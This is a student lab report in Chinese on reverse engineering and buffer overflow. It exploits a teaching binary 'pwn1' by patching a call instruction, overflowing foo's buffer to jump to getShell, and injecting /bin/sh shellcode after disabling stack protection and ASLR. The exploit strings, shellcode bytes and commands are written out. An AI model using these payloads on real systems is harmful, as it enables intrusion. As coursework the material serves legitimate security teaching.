Exp1 PC平台逆向破解 20164303 景圣

逆向及Bof基础实验

实验对象

文件名为pwn1的linux可执行文件。

实验目标：程序正常执行流程weimain调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段，getShell，会返回一个可用窗口，正常情况下该代码是不会被运行的。通过操作使getShell成功运行。

实验内容

1.修改可执行文件中的程序，改变程序调用的函数，直接调用getShell函数。

2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，使程序跳转到getShell函数。

3.注入一个自己制作的shellcode，将原程序覆盖并实现运行目标函数的运行。

实验原理

机器指令是CPU能直接识别并执行的指令，它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成，操作码指出该指令所要完成的操作，即指令的功能，操作数指出参与运算的对象，以及运算结果所存放的位置等。

NOP：空指令，意味着什么都不做的意思，一般用来控制CPU的时间周期，达到时钟延时的效果。

JE：条件转移指令，如果相等则跳转。

JNE：条件转移指令，如果不相等则跳转。

JMP：无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出，也可以在寄存器中给出，或在存储器中指出。

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

objdump反汇编常用参数：

objdump -d <file(s)>: 将代码段反汇编

objdump -S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示，编译时需要使用-g参数，即需要调试信息

objdump -l <file(s)>: 反汇编代码中插入文件名和行号

objdump -j section <file(s)>: 仅反汇编指定的section

objdump -t <file(s)>j:输出目标文件的符号表（）

objdump -h <file(s)>:输出目标文件的所有段概括（）

objdump -x <file(s)>:以某种分类信息的形式把目标文件的数据组成输出；<可查到该文件的的所有动态库>

十六进制编程器，xxd命令：

用vi命令打开一个文件，在vi命令模式下输入

:%!xxd            //回车后，该文件会以十六进制形式显示

:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

gdb常用命令：

（gdb）help：查看命令帮助，具体命令查询在gdb中输入help + 命令,简写h.

（gdb）run：重新开始运行文件（run-text：加载文本文件，run-bin：加载二进制文件）,简写r.

（gdb）info：查看函数内部局部变量的数值,简写i.

（gdb）continue：继续运行,简写c.

（gdb）quit：退出gdb,简写q.

实验步骤

准备步骤：在虚拟机home文件夹中创建名字为学号的新文件夹，并将pwn1文件拷贝到该文件夹。在该文件夹中拷贝多个备用的pwn1文件。

一、修改程序机器指令，改变程序执行流程

输入命令objdump -d pwn1 | more，对文件pwn1进行反汇编。可以看到原程序中跳转语句的汇编语言为e8 d7 ff ff,可以跳转到地址为8048491处，而我们希望可以跳转到804847d处，通过计算可以得出修改后的语句为e8 c3 ff ff.

使用语句vi pwn1,打开pwn1文件，按住Esc键的同时按下Shift键和 ：键

输入 ：%！xxd 将文件转为16进制编码显示：

找到e8 d7,将其修改为e8 c3,具体方法为点击所要修改的字母，按下r键后再按下希望修改成的字母。

完成修改，输入：wq存盘退出。

再次进行反汇编，查看修改后的结果。

运行pwn1文件，实现实验目标。

二、通过构造输入参数，造成BOF攻击，改变程序执行流

通过gdb命令，调试文件pwn1，通过info r命令查看当前寄存器状态，通过研究确定返回地址的位置，并由此编辑输入的字节。

通过实验指导书的方法试验发现字节输入顺序应该如下：

11111111222222223333333344444444\x7d\x84\x04\x08。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后可以使用16进制查看指令xxd查看input文件的内容是否如预期

然后将input的输入，通过管道符“|”，作为pwn1的输入。

输入指令(cat input; cat) | ./pwn1后，发现已获得shell。

实践三  注入Shellcode并执行

安装好execstack，输入apt-get install execstack即可安装。

对文件进行设置，使堆栈可以被修改。

execstack -s pwn2    //设置堆栈可执行

execstack -q pwn2    //查询文件的堆栈是否可执行

X

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00" '  > input_shellcode

输入指令(cat input_shellcode;cat) | ./pwn1

再开另外一个终端，用gdb来调试pwn1这个进程。通过指令ps -ef | grep pwn1来查看pwn1的进程号。

输入指令attach 3242调试这个进程。3242为pwn1的进程号。

使用指令disassemble foo设置断点，来查看注入buf的内存地址。

然后break *0x080484ae

使用指令c，继续运行。

在初始终端上输入111111112222222233333333444444441234

通过指令 info r esp 查看esp寄存器，找到01020304，即返回地址，shellcode就在该地址之后，因此，如图，将\x4\x3\x2\x1置为\x70\xd3\xff\xff即可

对文件shellcod进行修改，再次进行操作，发现实验目标实现。

实验收获与感想

通过实验，我对老师上课讲的内容理解更深了，虽然对一些细节还不是很明白，但是明白了整个攻击的过程，实验过程中遇到了不少问题，看了很多同学的博客，也通过百度查了一些，总算完成了实验。虽然是看着之前同学的内容完成的，也耗费了不少时间，但完成之后还是很有成就感的。

什么是漏洞？漏洞有什么危害？

我认为漏洞是计算机中可以被黑客利用，实现对计算机进行某些修改或攻击的程序片段。

漏洞的出现给了黑客对他人计算机进行攻击来实现自己目标的机会，会使使用者蒙受损失。